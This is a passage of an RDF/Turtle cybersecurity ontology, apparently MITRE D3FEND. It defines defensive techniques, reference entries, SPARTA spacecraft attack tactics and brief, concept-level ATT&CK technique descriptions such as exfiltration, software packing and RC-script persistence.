    d3f:kb-reference-of d3f:CredentialTransmissionScoping ;
    d3f:kb-reference-title """Web Authentication: An API for accessing Public Key Credentials
Level 2""" .

d3f:Reference-WhatIsNX_XDFeature_RedHat a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - What is NX/XD feature?" ;
    d3f:has-link "https://access.redhat.com/solutions/2936741"^^xsd:anyURI ;
    d3f:kb-abstract """What is NX/XD feature ?
How to check whether NX/XD is enabled ?
How to enable or disable NX/XD?

NX/XD is a hardware cpu feature which is provided in almost all the hardware. Some BIOS has advanced option of enabling or disabling it.
NX stands for No eXecute and XD stands for eXecute Disable. Both are same and is a technology used in processors to prevent execution of certain types of code.""" ;
    d3f:kb-author "Red Hat" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Red Hat" ;
    d3f:kb-reference-of d3f:ProcessSegmentExecutionPrevention ;
    d3f:kb-reference-title "What is NX/XD feature?" .

d3f:Reference-WhatisHardwareWriteProtect a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - What is Hardware Write Protect?" ;
    d3f:has-link "https://www.yokogawa.com/us/library/resources/faqs/pressure-what-is-hardware-write-protect/#:~:text=The%20hardware%20write%20protection%20is,Burn%20Out%20(BO)%20switch"^^xsd:anyURI ;
    d3f:kb-abstract "Transmitters used in safety systems, environmentally sensitive applications, custody transfer, or critical processes need to be secure from tampering or inadvertent changes to their setup that may lead to errors and failures. Yokogawa’s pressure transmitters have the security of a Software Write Protection (Password) and a Hardware Write Protection (Switch) to secure programming changes and physical cover locks to secure the transmitter electronics. These security features can be applied independently or in combination to build the level of security desired." ;
    d3f:kb-author "YOKOGAWA" ;
    d3f:kb-reference-of d3f:Hardware-basedWriteProtection ;
    d3f:kb-reference-title "What is Hardware Write Protect?" .

d3f:Reference-Wikipedia-MotionDetector a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Wikipedia: Motion detector" ;
    d3f:has-link "https://en.wikipedia.org/wiki/Motion_detector"^^xsd:anyURI ;
    d3f:kb-abstract "Overview of motion detectors, including PIR and microwave technologies, applications, and limitations." ;
    d3f:kb-author "Wikipedia contributors" ;
    d3f:kb-reference-of d3f:MotionSensorMonitoring ;
    d3f:kb-reference-title "Motion detector" .

d3f:Reference-Wikipedia-PIRSensor a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Wikipedia: Passive infrared sensor" ;
    d3f:has-link "https://en.wikipedia.org/wiki/Passive_infrared_sensor"^^xsd:anyURI ;
    d3f:kb-abstract "Background on passive infrared sensors, principles of operation, and typical deployment considerations." ;
    d3f:kb-author "Wikipedia contributors" ;
    d3f:kb-reference-of d3f:MotionSensorMonitoring ;
    d3f:kb-reference-title "Passive infrared sensor" .

d3f:Reference-Wikipedia-ProximityCard a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Wikipedia: Proximity card" ;
    d3f:has-link "https://en.wikipedia.org/wiki/Proximity_card"^^xsd:anyURI ;
    d3f:kb-abstract "Overview of proximity cards used in access control, their operating principles, and security aspects." ;
    d3f:kb-author "Wikipedia contributors" ;
    d3f:kb-reference-of d3f:ProximitySensorMonitoring ;
    d3f:kb-reference-title "Proximity card" .

d3f:Reference-Wikipedia-RFID a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Wikipedia: RFID" ;
    d3f:has-link "https://en.wikipedia.org/wiki/RFID"^^xsd:anyURI ;
    d3f:kb-abstract "General overview of radio-frequency identification systems, tags, readers, and security considerations." ;
    d3f:kb-author "Wikipedia contributors" ;
    d3f:kb-reference-of d3f:ProximitySensorMonitoring ;
    d3f:kb-reference-title "RFID" .

d3f:Reference-Windows10STIG a d3f:GuidelineReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Windows 10 STIG" ;
    d3f:has-link "https://www.stigviewer.com/stig/windows_10/"^^xsd:anyURI ;
    d3f:kb-abstract "Windows 10 STIG guidance." ;
    d3f:kb-reference-of d3f:ApplicationConfigurationHardening ;
    d3f:kb-reference-title "Windows 10 Security Technical Implementation Guide" .

d3f:Reference-WindowsRemoteManagement_WinRM_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2014-11-006: Windows Remote Management (WinRM) - MITRE" ;
    d3f:has-link ""^^xsd:anyURI ;
    d3f:kb-abstract "" ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:AdministrativeNetworkActivityAnalysis ;
    d3f:kb-reference-title "CAR-2014-11-006: Windows Remote Management (WinRM)" .

d3f:ReferenceNullification a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Reference Nullification" ;
    d3f:d3fend-id "D3-RN" ;
    d3f:definition "Invalidating all pointers that reference a specific memory block, ensuring that the block cannot be accessed or modified after deallocation." ;
    d3f:hardens d3f:MemoryFreeFunction ;
    d3f:kb-article """## How it Works
Nullifying references to memory blocks makes those blocks no longer accessible. This is critical to prevent use-after-free errors.

## Considerations
* If a memory block is freed, all other references to that block should be nullified.
* This is particularly relevant when manually managing memory.
* Note: This resource should not be considered a definitive or exhaustive coding guideline.""" ;
    d3f:kb-reference d3f:Reference-ReferenceNullification_SecureSoftwareInc ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:hardens ;
            owl:someValuesFrom d3f:MemoryFreeFunction ],
        d3f:SourceCodeHardening .

d3f:ReissueCredential a d3f:ReissueCredential,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Reissue Credential" ;
    d3f:d3fend-id "D3-RIC" ;
    d3f:definition "Issue a new credential to a user which supercedes their old credential." ;
    d3f:kb-reference d3f:Reference-CybersecurityIncidentandVulnerabilityResponsePlaybooks ;
    d3f:restores d3f:Credential ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:restores ;
            owl:someValuesFrom d3f:Credential ],
        d3f:RestoreAccess .

d3f:RemoteResource a owl:Class ;
    rdfs:label "Remote Resource" ;
    d3f:definition "In computing, a remote  resource is a computer resource made available from one host to other hosts on a computer network. It is a device or piece of information on a computer that can be remotely accessed from another computer, typically via a local area network or an enterprise intranet." ;
    rdfs:seeAlso d3f:NetworkResource ;
    rdfs:subClassOf d3f:Resource .

d3f:Repository a owl:Class ;
    rdfs:label "Repository" ;
    d3f:definition "A centralized digital storage location where code, files, and related resources are systematically organized, managed, and maintained." ;
    rdfs:isDefinedBy <https://phoenixnap.com/glossary/what-is-a-repository> ;
    rdfs:subClassOf d3f:DigitalInformationBearer .

d3f:RestoreConfiguration a d3f:RestoreConfiguration,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Restore Configuration" ;
    d3f:d3fend-id "D3-RC" ;
    d3f:definition "Restoring an software configuration." ;
    d3f:kb-reference d3f:Reference-CybersecurityIncidentandVulnerabilityResponsePlaybooks ;
    d3f:restores d3f:ConfigurationResource ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:restores ;
            owl:someValuesFrom d3f:ConfigurationResource ],
        d3f:RestoreObject .

d3f:RestoreDatabase a d3f:RestoreDatabase,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Restore Database" ;
    d3f:d3fend-id "D3-RD" ;
    d3f:definition "Restoring the data in a database." ;
    d3f:kb-reference d3f:Reference-CybersecurityIncidentandVulnerabilityResponsePlaybooks ;
    d3f:restores d3f:Database ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:restores ;
            owl:someValuesFrom d3f:Database ],
        d3f:RestoreObject .

d3f:RestoreDiskImage a d3f:RestoreDiskImage,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Restore Disk Image" ;
    d3f:d3fend-id "D3-RDI" ;
    d3f:definition "Restoring a previously captured disk image a hard drive." ;
    d3f:kb-reference d3f:Reference-CybersecurityIncidentandVulnerabilityResponsePlaybooks ;
    rdfs:subClassOf d3f:RestoreObject .

d3f:RestoreEmail a d3f:RestoreEmail,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Restore Email" ;
    d3f:d3fend-id "D3-RE" ;
    d3f:definition "Restoring an email for an entity to access." ;
    d3f:kb-reference d3f:Reference-CybersecurityIncidentandVulnerabilityResponsePlaybooks ;
    d3f:restores d3f:Email ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:restores ;
            owl:someValuesFrom d3f:Email ],
        d3f:RestoreFile .

d3f:RestoreNetworkAccess a d3f:RestoreNetworkAccess,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Restore Network Access" ;
    d3f:d3fend-id "D3-RNA" ;
    d3f:definition "Restoring a entity's access to a computer network." ;
    d3f:kb-reference d3f:Reference-CybersecurityIncidentandVulnerabilityResponsePlaybooks ;
    d3f:restores d3f:Host ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:restores ;
            owl:someValuesFrom d3f:Host ],
        d3f:RestoreAccess .

d3f:RestoreSoftware a d3f:RestoreSoftware,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Restore Software" ;
    d3f:d3fend-id "D3-RS" ;
    d3f:definition "Restoring software to a host." ;
    d3f:kb-reference d3f:Reference-CybersecurityIncidentandVulnerabilityResponsePlaybooks ;
    d3f:restores d3f:Software ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:restores ;
            owl:someValuesFrom d3f:Software ],
        d3f:RestoreObject .

d3f:ReverseResolutionIPDenylisting a d3f:ReverseResolutionIPDenylisting,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Reverse Resolution IP Denylisting" ;
    d3f:blocks d3f:OutboundInternetDNSLookupTraffic ;
    d3f:d3fend-id "D3-RRID" ;
    d3f:definition "Blocking a reverse lookup based on the query's IP address value." ;
    d3f:kb-article """## How it works
This technique prevents a client from learning domains deemed to be potentially malicious, which would have been delivered via reverse resolution responses over the DNS protocol.

Queries for reverse resolution requests (that is, requests where IP(s) are sent and a domain is returned) are collected, and the IP address(es) included in the query are examined. If the IP address(es) are in a range included in the blacklist, then the query is dropped.

## Considerations
- The blacklist will have to be maintained and will need to be kept up to date with identified maintenance cycles to ensure lists are not stale.
- DNS query traffic can be transmitted over many different protocols, which presents a challenge to implementing methods to extract all DNS query IP address value(s).
  - DNS has historically used UDP port 53, with TCP port 53 instead used for responses over 512 bytes or after a lack of response over UDP.
  - Usage of new protocols to provide confidentiality for DNS traffic, such as DoH (DNS over HTTPS) and DoT (DNS over TLS), complicates collection of the IP address(es) in DNS queries. These protocols have often been enabled in browser settings transparently after a browser update, with DNS queries proxied over one of these cryptographic protocols through a specified host.""" ;
    d3f:kb-reference d3f:Reference-UseDNSPolicyForApplyingFiltersOnDNSQueries ;
    d3f:synonym "Reverse Resolution IP Blacklisting" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:blocks ;
            owl:someValuesFrom d3f:OutboundInternetDNSLookupTraffic ],
        d3f:DNSDenylisting .

d3f:Router a owl:Class ;
    rdfs:label "Router" ;
    d3f:definition "A router is a networking device that forwards data packets between computer networks. Routers perform the traffic directing functions on the Internet. Data sent through the internet, such as a web page or email, is in the form of data packets. A packet is typically forwarded from one router to another router through the networks that constitute an internetwork (e.g. the Internet) until it reaches its destination node." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Router_(computing)> ;
    rdfs:subClassOf d3f:ComputerNetworkNode .

d3f:ST0001 a d3f:SPARTATactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Reconnaissance - SPARTA" ;
    d3f:definition "Threat actor is trying to gather information they can use to plan future operations." ;
    d3f:display-order 1 ;
    rdfs:seeAlso <https://sparta.aerospace.org/tactic/ST0001> ;
    rdfs:subClassOf d3f:OffensiveTactic,
        d3f:SPARTATactic ;
    skos:prefLabel "Reconnaissance" .

d3f:ST0002 a d3f:SPARTATactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Resource Development - SPARTA" ;
    d3f:definition "Threat actor is trying to establish resources they can use to support operations." ;
    d3f:display-order 2 ;
    rdfs:seeAlso <https://sparta.aerospace.org/tactic/ST0002> ;
    rdfs:subClassOf d3f:OffensiveTactic,
        d3f:SPARTATactic ;
    skos:prefLabel "Resource Development" .

d3f:ST0003 a d3f:SPARTATactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Initial Access - SPARTA" ;
    d3f:definition "Threat actor is trying to get point of presence/command execution on the spacecraft." ;
    d3f:display-order 3 ;
    rdfs:seeAlso <https://sparta.aerospace.org/tactic/ST0003> ;
    rdfs:subClassOf d3f:OffensiveTactic,
        d3f:SPARTATactic ;
    skos:prefLabel "Initial Access" .

d3f:ST0004 a d3f:SPARTATactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Execution - SPARTA" ;
    d3f:definition "Threat actor is trying to execute malicious code on the spacecraft." ;
    d3f:display-order 4 ;
    rdfs:seeAlso <https://sparta.aerospace.org/tactic/ST0004> ;
    rdfs:subClassOf d3f:OffensiveTactic,
        d3f:SPARTATactic ;
    skos:prefLabel "Execution" .

d3f:ST0005 a d3f:SPARTATactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Persistence - SPARTA" ;
    d3f:definition "Threat actor is trying to maintain their foothold/access to command/execute code on the spacecraft." ;
    d3f:display-order 5 ;
    rdfs:seeAlso <https://sparta.aerospace.org/tactic/ST0005> ;
    rdfs:subClassOf d3f:OffensiveTactic,
        d3f:SPARTATactic ;
    skos:prefLabel "Persistence" .

d3f:ST0006 a d3f:SPARTATactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Defense Evasion - SPARTA" ;
    d3f:definition "Threat actor is trying to avoid being detected." ;
    d3f:display-order 6 ;
    rdfs:seeAlso <https://sparta.aerospace.org/tactic/ST0006> ;
    rdfs:subClassOf d3f:OffensiveTactic,
        d3f:SPARTATactic ;
    skos:prefLabel "Defense Evasion" .

d3f:ST0007 a d3f:SPARTATactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Lateral Movement - SPARTA" ;
    d3f:definition "Threat actor is trying to move through across sub-systems of the spacecraft." ;
    d3f:display-order 7 ;
    rdfs:seeAlso <https://sparta.aerospace.org/tactic/ST0007> ;
    rdfs:subClassOf d3f:OffensiveTactic,
        d3f:SPARTATactic ;
    skos:prefLabel "Lateral Movement" .

d3f:ST0008 a d3f:SPARTATactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Exfiltration - SPARTA" ;
    d3f:definition "Threat actor is trying to steal information." ;
    d3f:display-order 8 ;
    rdfs:seeAlso <https://sparta.aerospace.org/tactic/ST0008> ;
    rdfs:subClassOf d3f:OffensiveTactic,
        d3f:SPARTATactic ;
    skos:prefLabel "Exfiltration" .

d3f:ST0009 a d3f:SPARTATactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Impact - SPARTA" ;
    d3f:definition "Threat actor is trying to manipulate, interrupt, or destroy the space system(s) and/or data." ;
    d3f:display-order 9 ;
    rdfs:seeAlso <https://sparta.aerospace.org/tactic/ST0009> ;
    rdfs:subClassOf d3f:OffensiveTactic,
        d3f:SPARTATactic ;
    skos:prefLabel "Impact" .

d3f:ScheduledJobEnableEvent a owl:Class ;
    rdfs:label "Scheduled Job Enable Event" ;
    d3f:definition "An event where a scheduled task is activated, allowing it to execute according to its defined parameters." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:ScheduledJobCreationEvent ],
        d3f:ScheduledJobEvent .

d3f:Semi-supervisedTransductiveLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Semi-supervised Transductive Learning" ;
    d3f:d3fend-id "D3A-SSTL" ;
    d3f:definition """The goal of transductive learning is to infer the correct labels for the given unlabeled data
x_{l+1},... ,x_{l+u} only""" ;
    d3f:kb-article """## References
Semi-Supervised Learning. Wikipedia.  [Link](https://en.wikipedia.org/wiki/Semi-Supervised_Learning#Semi-supervised_learning).

Zhou, D., & Li, M. (2005). Semi-supervised learning by higher order regularization. In Proceedings of the 43rd Annual Meeting of the Association for Computational Linguistics (ACL) (pp. 1-9). [Link](https://www.cs.sfu.ca/~anoop/papers/pdf/semisup_naacl.pdf).""" ;
    rdfs:subClassOf d3f:Semi-SupervisedLearning .

d3f:ServiceAccount a owl:Class ;
    rdfs:label "Service Account" ;
    d3f:definition "A service account is a type of account used by an application or service to interact with the operating system." ;
    d3f:synonym "System Account" ;
    rdfs:subClassOf d3f:UserAccount .

d3f:ServiceEnableEvent a owl:Class ;
    rdfs:label "Service Enable Event" ;
    d3f:definition "An event representing the activation of a service application, allowing it to start and provide its background or networked functionality." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:ServiceInstallationEvent ],
        d3f:ApplicationEnableEvent,
        d3f:ServiceEvent .

d3f:ServiceProvider a owl:Class ;
    rdfs:label "Service Provider" ;
    d3f:definition "A service provider offers delivery of intangible outputs such as expertise, support, or access to resources to individuals, organizations, or other entities." ;
    rdfs:subClassOf d3f:Provider .

d3f:ServiceStopEvent a owl:Class ;
    rdfs:label "Service Stop Event" ;
    d3f:definition "An event capturing the cessation of a service application’s operations, transitioning it to an inactive state while ceasing its functionality to clients or dependent systems." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:ServiceStartEvent ],
        d3f:ApplicationStopEvent,
        d3f:ServiceEvent .

d3f:SessionTermination a d3f:SessionTermination,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Session Termination" ;
    d3f:d3fend-id "D3-ST" ;
    d3f:definition "Forcefully end all active sessions associated with compromised accounts or devices." ;
    d3f:deletes d3f:Session ;
    d3f:kb-article "Defined in NIST 800-53 as AC-12." ;
    d3f:kb-reference d3f:Reference-NIST-Special-Publication-800-53A-Revision-5 ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:deletes ;
            owl:someValuesFrom d3f:Session ],
        d3f:ProcessEviction .

d3f:ShortcutFile a owl:Class ;
    rdfs:label "Shortcut File" ;
    d3f:definition """A shortcut file, or shortcut, is a handle that allows the user to find a file or resource located in a different directory or folder from the place where the shortcut is located.

Shortcuts, which are supported by the graphical file browsers of some operating systems, may resemble symbolic links but differ in a number of important ways. One difference is what type of software is able to follow them:

 - Symbolic links are automatically resolved by the file system. Any software program, upon accessing a symbolic link, will see the target instead, whether the program is aware of symbolic links or not.

 - Shortcuts are treated like ordinary files by the file system and by software programs that are not aware of them. Only software programs that understand shortcuts (such as the Windows shell and file browsers) treat them as references to other files.

Another difference are the capabilities of the mechanism:

 - Microsoft Windows shortcuts normally refer to a destination by an absolute path (starting from the root directory), whereas POSIX symbolic links can refer to destinations via either an absolute or a relative path. The latter is useful if both the location and destination of the symbolic link share a common path prefix[clarification needed], but that prefix is not yet known when the symbolic link is created (e.g., in an archive file that can be unpacked anywhere).

- Microsoft Windows application shortcuts contain additional metadata that can be associated with the destination, whereas POSIX symbolic links are just strings that will be interpreted as absolute or relative pathnames.

- Unlike symbolic links, Windows shortcuts maintain their references to their targets even when the target is moved or renamed. Windows domain clients may subscribe to a Windows service called Distributed Link Tracking to track the changes in files and folders to which they are interested. The service maintains the integrity of shortcuts, even when files and folders are moved across the network.[14] Additionally, in Windows 9x and later, Windows shell tries to find the target of a broken shortcut before proposing to delete it.""" ;
    rdfs:seeAlso <http://dbpedia.org/resource/Shortcut_(computing)>,
        <http://dbpedia.org/resource/Symbolic_link#Shortcuts> ;
    rdfs:subClassOf d3f:File .

d3f:Simulation a owl:Class ;
    rdfs:label "Simulation" ;
    rdfs:subClassOf d3f:Generation .

d3f:Skewness a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Skewness" ;
    d3f:d3fend-id "D3A-SKE" ;
    d3f:definition "Skewness is a measure of the asymmetry of the probability distribution of a real-valued random variable about its mean. The standardized moment of a probability distribution function." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Skewness. [Link](https://en.wikipedia.org/wiki/Skewness)""" ;
    rdfs:subClassOf d3f:DistributionProperties .

d3f:SoftwareLibrary a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Software Library" ;
    d3f:contains d3f:SoftwareLibraryFile ;
    d3f:definition "A software library is a collection of software components that are used to build a software product." ;
    rdfs:seeAlso <https://dbpedia.org/page/Library_(computing)> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:SoftwareLibraryFile ],
        d3f:Software .

d3f:StandardDeviation a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Standard Deviation" ;
    d3f:d3fend-id "D3A-SD" ;
    d3f:definition "The standard deviation is a measure of the amount of variation or dispersion of a set of values." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Standard deviation. [Link](https://en.wikipedia.org/wiki/Standard_deviation)""" ;
    d3f:synonym "SD" ;
    rdfs:subClassOf d3f:Variability .

d3f:StaticAnalysisTool a owl:Class ;
    rdfs:label "Static Analysis Tool" ;
    d3f:definition "A static [program] analysis tool performs an automated analysis of computer software without actually executing programs, in contrast with dynamic analysis, which is analysis performed on programs while they are executing. In most cases the analysis is performed on some version of the source code, and in the other cases, some form of the object code." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Static_program_analysis> ;
    rdfs:seeAlso <http://dbpedia.org/resource/Category:Program_analysis>,
        <http://dbpedia.org/resource/Program_analysis> ;
    rdfs:subClassOf d3f:CodeAnalyzer ;
    skos:altLabel "Static Program Analysis Tool" .

d3f:StorageSnapshot a owl:Class ;
    rdfs:label "Storage Snapshot" ;
    d3f:definition "A storage snapshot is a copy of a storage medium or system environment at a point in time." ;
    rdfs:subClassOf d3f:ComputingSnapshot .

d3f:System a owl:Class ;
    rdfs:label "System" ;
    d3f:definition "An artifact (instrumentality) that combines interrelated interacting artifacts designed to work as a coherent entity.  [Note that not all digital artifacts are systems nor are all systems digital artifacts.]" ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/04384144-n> ;
    rdfs:subClassOf d3f:Artifact .

d3f:T1011 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Exfiltration Over Other Network Medium" ;
    d3f:attack-id "T1011" ;
    d3f:definition "Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel." ;
    d3f:produces d3f:InternetNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:InternetNetworkTraffic ],
        d3f:ExfiltrationTechnique .

d3f:T1020 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Automated Exfiltration" ;
    d3f:attack-id "T1020" ;
    d3f:definition "Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection.(Citation: ESET Gamaredon June 2020)" ;
    d3f:produces d3f:InternetNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:InternetNetworkTraffic ],
        d3f:ExfiltrationTechnique .

d3f:T1021.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Remote Desktop Protocol" ;
    d3f:attack-id "T1021.001" ;
    d3f:creates d3f:RDPSession ;
    d3f:definition "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user." ;
    d3f:produces d3f:AdministrativeNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:AdministrativeNetworkTraffic ],
        [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:RDPSession ],
        d3f:T1021 .

d3f:T1021.002 a owl:Class ;
    rdfs:label "SMB/Windows Admin Shares" ;
    d3f:attack-id "T1021.002" ;
    d3f:definition "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user." ;
    rdfs:subClassOf d3f:T1021 .

d3f:T1021.006 a owl:Class ;
    rdfs:label "Windows Remote Management" ;
    d3f:attack-id "T1021.006" ;
    d3f:definition "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user." ;
    rdfs:subClassOf d3f:T1021 .

d3f:T1027.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Binary Padding" ;
    d3f:attack-id "T1027.001" ;
    d3f:definition "Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations." ;
    d3f:modifies d3f:ExecutableBinary ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:ExecutableBinary ],
        d3f:T1027 .

d3f:T1027.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Software Packing" ;
    d3f:attack-id "T1027.002" ;
    d3f:definition "Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018)" ;
    d3f:obfuscates d3f:ExecutableFile ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:obfuscates ;
            owl:someValuesFrom d3f:ExecutableFile ],
        d3f:T1027 .

d3f:T1027.004 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Compile After Delivery" ;
    d3f:attack-id "T1027.004" ;
    d3f:creates d3f:ExecutableFile ;
    d3f:definition "Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:ExecutableFile ],
        d3f:T1027 .

d3f:T1027.005 a owl:Class ;
    rdfs:label "Indicator Removal from Tools" ;
    d3f:attack-id "T1027.005" ;
    d3f:definition "Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems." ;
    rdfs:subClassOf d3f:T1027 .

d3f:T1036.006 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Space after Filename" ;
    d3f:attack-id "T1036.006" ;
    d3f:creates d3f:File ;
    d3f:definition "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:File ],
        d3f:T1036 .

d3f:T1037.004 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "RC Scripts" ;
    d3f:attack-id "T1037.004" ;
    d3f:definition "Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify." ;
    d3f:modifies d3f:SystemInitScript ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:SystemInitScript ],
        d3f:T1037 .

d3f:T1037.005 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Startup Items" ;
    d3f:attack-id "T1037.005" ;
    d3f:definition "Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.(Citation: Startup Items)" ;
    d3f:modifies d3f:SystemStartupDirectory ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:SystemStartupDirectory ],
        d3f:T1037 .

d3f:T1052 a owl:Class ;
    rdfs:label "Exfiltration Over Physical Medium" ;
    d3f:attack-id "T1052" ;
    d3f:definition "Adversaries may attempt to exfiltrate data via a physical medium, such as a removable drive. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems." ;
    rdfs:subClassOf d3f:ExfiltrationTechnique .

d3f:T1053.002 a owl:Class ;
    rdfs:label "At" ;
    d3f:attack-id "T1053.002" ;
    d3f:definition "Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group." ;
    rdfs:subClassOf d3f:T1053 .

d3f:T1055.011 a owl:Class ;
    rdfs:label "Extra Window Memory Injection" ;
    d3f:attack-id "T1055.011" ;
